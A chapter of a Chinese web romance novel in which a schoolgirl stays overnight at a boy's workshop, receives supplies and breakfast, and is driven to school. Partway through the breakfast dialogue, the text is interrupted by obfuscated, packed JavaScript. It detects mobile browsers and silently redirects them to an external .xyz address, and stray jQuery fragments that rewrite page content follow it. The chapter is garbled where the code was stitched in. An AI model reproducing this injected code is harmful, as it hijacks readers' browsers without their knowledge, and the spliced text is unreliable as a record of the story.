17. 第 17 章
作品:《死对头的弟弟暗恋我!》 于是就在这样一个突然起来的深夜。
狼狈的陆舒和失去短袖的江皓,同时来到了这个破破的工作室。
说是工作室,其实就是个普通的民房。
房子在一层,有一个自带的前院小花园,两侧摆了些特殊的用具,应该是用竹子之类的东西做的,陆舒看不太明白。
进了客厅,江皓打开灯,第一时间从沙发上捞起一件短袖套上。
陆舒环顾四周。
房子的格局很方正。
客厅放了一个沙发床,沙发床上堆的应该是江皓的衣服,被人洗干净连衣架都没拆就扔在了那里。
江皓有点不好意思地解释:“其实平常没有这么乱的。这是我工作室的助理干的,我让他收衣服就收成了这个样子。”
陆舒露出一个理解的笑。
靠墙的另一侧是一台电脑桌。
桌上倒是很干净,只有电脑。
客厅就这么大一点,基本上一览无余。
江皓推开一扇门,里面是厕所,放着一台洗衣机。
他让陆舒把她一直抱着的那件脏短袖扔到洗衣机里。
把厕所让给了她。
陆舒面色薄红,低声道了声谢。
她身上没有带卫生巾,纠结了一会,只好先拿纸巾垫上。打算等到江皓离开之后,看看能不能点个外卖之类的。
陆舒打开厕所的门。
江皓正好从外面回来了。
他手里提着一个黑色的塑料袋。
他不解:“怎么这么快就出来了?”
但也体贴地没有多嘴问,将手里的东西递给陆舒。
“你可能要用到的东西。”
她打开袋子。
里面是一包日用的卫生巾、一包夜用超长、一条一次性内裤、一小块肥皂、牙刷牙膏都是小份的旅行装、洗脸巾、湿厕纸,甚至还有一袋红糖。
东西齐全到让陆舒觉得不可思议。
江皓自豪地挺起胸膛。
“江灿以前经常指示我干活,我是个熟练工。”
这是他第二次在心里如此感谢江灿。
第一次还是昨天晚上。
陆舒感觉自己越来越容易被江皓逗笑。
她感慨了一下,如果江皓是她亲生的仆人,那该有多好。
随即正色道:“多谢。”
其实今天晚上她已经对江皓说了无数声谢谢。
但语言实在是苍白。
江皓浑不在意。
他挥挥手。
“我们不是已经是朋友了么。朋友之间都是应该的,没什么好道谢的。”
陆舒摇摇头。
“从来没有什么事情是你应该做的。你愿意帮助我,只能说明你真的是一个很好的人。”
她拎着袋子,回到厕所重新解决了一下个人问题。
江皓甚至不知道从哪里给她买了一条全新的宽松短裤。
这种杂货店的短裤材料不是很好,粗硬的布料扎到了陆舒的皮肤。
她伸手挠了挠。
这样已经很好了。
她真的很满足现在的这个情况。
江皓没有久留,将东西给她后,趁着陆舒还在卫生间的时候就离开了。
陆舒正在搓洗裤子。
听见他告辞的声音有点意外。
她连忙放下手里的衣服打开门。
但人已经走了。
陆舒走到门口的小玄关。
江皓给她留了字条。
提醒她裤子可以直接扔进洗衣机里,让她不要担心。又说早上会过来叫她吃早饭,不会让她迟到。最后跟她说,在这里不用不自在,她可以在这里面自由探索。
他的字龙飞凤舞,倒是和本人的贴心形象不太一样。
陆舒拿着字条笑了一下。
将字条收进了书包里。
也许是晚上发生了太多的事情,当陆舒整理完个人卫生,躺上床时,她闭着眼睛,一点也睡不着。
周围的一切都十分陌生。
她竟然真的轻易相信了一个陌生的“朋友”。
还留宿了。
这简直是不可思议。
陆舒甚至有点后怕,如果江皓真的是个伪装起来的坏人,她现在的下场该有多么惨?
但她又想起了那张写满了字的便签,心下稍微安定起来。
睡不着,陆舒索性打开灯起来。
绕着室内转了转。
说起来,江皓居然小小年纪就拥有了一家自己的工作室?
她心下惊异。
自己之前怎么都没有意识到这个问题?
陆舒从来不是一个会轻易对别人产生好奇的人。
她的世界里向来都只有她自己。
但她现在却无法控制地对江皓这个人产生了一点探索欲。
她知道他是江灿的弟弟,知道他在隔壁的私立高中,知道他成绩一般。
但更多的——
他为什么性格能够如此细致?
为什么能够开工作室?
他的工作室是在做什么的?
好奇在夜晚中萌发。
陆舒内心带着一种隐蔽的好奇,推开了之前关着的两扇房门。
另外两个房间,陆舒猜测原本应当是厕所和卧室的。
里面的东西陆舒全部都不大认得。
拜访这各种器皿和托盘。
她隐约能够认出来应该有一些步骤是晾晒,有一些是塑形。
卧室里放着一个工作台。
陆舒不大认得。
对比外面还算整洁的客厅和厨房,卧室乱得不像样子。
她被一堆木头模具和地上堆着的各种材料拦在门口。
转了一圈。
更是一头雾水。
陆舒躺回床上。
觉得江皓这个人身上的谜团一层又一层。
陆舒再次睁开眼睛,是被窗外的阳光吵醒的。
这里的采光很好,江皓在客厅的窗户也没有窗帘。
日光直直地照在陆舒脸上,她甚至觉得自己可能需要在这里涂一点防晒。
她从床上坐起,身体醒了,脑子似乎还在梦中。
晃晃悠悠地下床洗漱。
陆舒看了眼时间,现在也才早上六点钟。
一中的小早读是六点二十开始,可能赶不上了。但正式早读六点五十,时间还算是宽裕。
她是昨晚应该凌晨一点多睡着的。
睡眠时长严重不足。
陆舒怀疑,自己可能今天一天的状态都不会好了。
不过也好在算是睡了几个小时,接下来只要她注意一点,应该不会发烧。
只要不是烧到人犯糊涂,一点都学不了,陆舒都觉得能够接受。
洗漱完,江皓正好卡着时间敲门。
他带过来早饭。
两个水煮蛋、两个菜包两个肉包、一杯豆浆和一杯小米粥。
“谢谢。”
陆舒接过,问他:“你吃过了么?”
江皓摇了摇头:“还没。你看看你吃什么,我吃你剩下的那些就好了。”
他平常和江灿吃早饭都是这样的。
江灿把挑剩下的给他解决。
所以他现在也就这么对陆舒了。
陆舒低着头。
选了一个鸡蛋一杯豆浆。
她不敢吃包子,怕吃了碳水早上犯困。
“就吃这一点?”
江皓看着她的饭量。
小猫都比她吃得多。
“你在减肥?”
陆舒摇摇头。
“没,我平常也就吃这么多。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377492|183573||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
她想了想。
“是不是你买多了,剩下的吃不掉?那我再吃一点?”
江皓看了一眼她的细胳膊细腿。
心道,怪不得这么瘦,身上一点肉都没有。
但陆舒都这么说了。
“这才多少东西,我一口就没了。你就按你平常吃的来。你放心,饿了饱了的我自己心里有数。”
“那就好。”
陆舒笑了下,开始剥鸡蛋。
吃完鸡蛋,她忽然想到一个问题,看向江灿。
“对了,我想问一下……”
正在表演一口吞包子的江皓赶紧咽下嘴里的食物,转头看陆舒。
“嗯?”
陆舒想了想。
她其实觉得这话问出来会比较冒昧。
但她又实在好奇。
“你早上怎么还有时间来给我送早饭,你不上课么?”
江皓哦了一声,解释:“我今天不去学校。今天要在工作室工作。”
“你快点吃,吃完我送你去学校。”
他不想和陆舒多聊有关工作室的事情。
有些话题就是会搞得两个人都很不愉快。
怎么能有学生不去上课呢?
陆舒皱了皱眉。
但看江皓的神情,显然是不欲多提。
她也转了话题。
“你送我去上课?”
江皓笑了一下,领着陆舒出去了。
“看!”
他指着自己威猛闪亮的坐骑。
“就用这个送你,怎么样!”
陆舒看着那台黑色的电驴。
“挺好的。”
她感慨。
江皓看了眼时间。
“快走!保证让你赶上早读。”
陆舒坐了上去,小电驴后面自带一个位置。
江皓又给她递了一个粉色的头盔,应该是江灿之前用的。
“真的能赶上么?”她问。
现在可是已经六点十六了。就四分钟的时间,怎么可能赶上。
江皓提起唇角,眉眼飞扬。
“带你走小路!”
“你现在要做的就是——”
“相信我!”
尾音和电驴一起冲了出去。
陆舒从来没想过电驴竟然也能给她做出赛场摩托一样的刺激感。
她一手紧紧地抓着车坐垫下面的金属柱,另外一手护着自己的头盔,生怕自己一个不小心颠了出去。
江皓的小路不知道是从哪里找到的,全程在巷子里面绕来绕去,路途又上又下。
陆舒还没有看清楚。
已经到了。
她看着眼前的护栏,不太明白。
“这里……”
这也不是学校大门啊?
江皓朝她笑,露出洁白的大牙。
“你现在从正门走是铁定赶不上的。但如果从这里翻墙进去,就能直接到教学楼的后门。”
他拿出手机看了一眼。
“现在是六点十九,还有一分钟时间。你跑快点就能赶得上。”
陆舒没想到。
陆舒大为震惊。
陆舒觉得江皓说得很多。
她采纳了。
看来这里应该是有很多学生都翻过,踩着旁边位置刚好垫起的砖头,甚至不需要费什么力气。
陆舒眼前一花,人已经在校园里面了。
她隔着栏杆朝江皓挥手。
“昨天晚上多谢你了。”
她笑了下。
“等有时间我会请你喝奶茶的。”
江皓朝她挥挥手,没说什么,骑着他的电驴,又像风一样离开了。
风吹起他身后的衣摆,像是一只蹁跹的鸟。
陆舒转过身,踏入那栋水泥建筑。

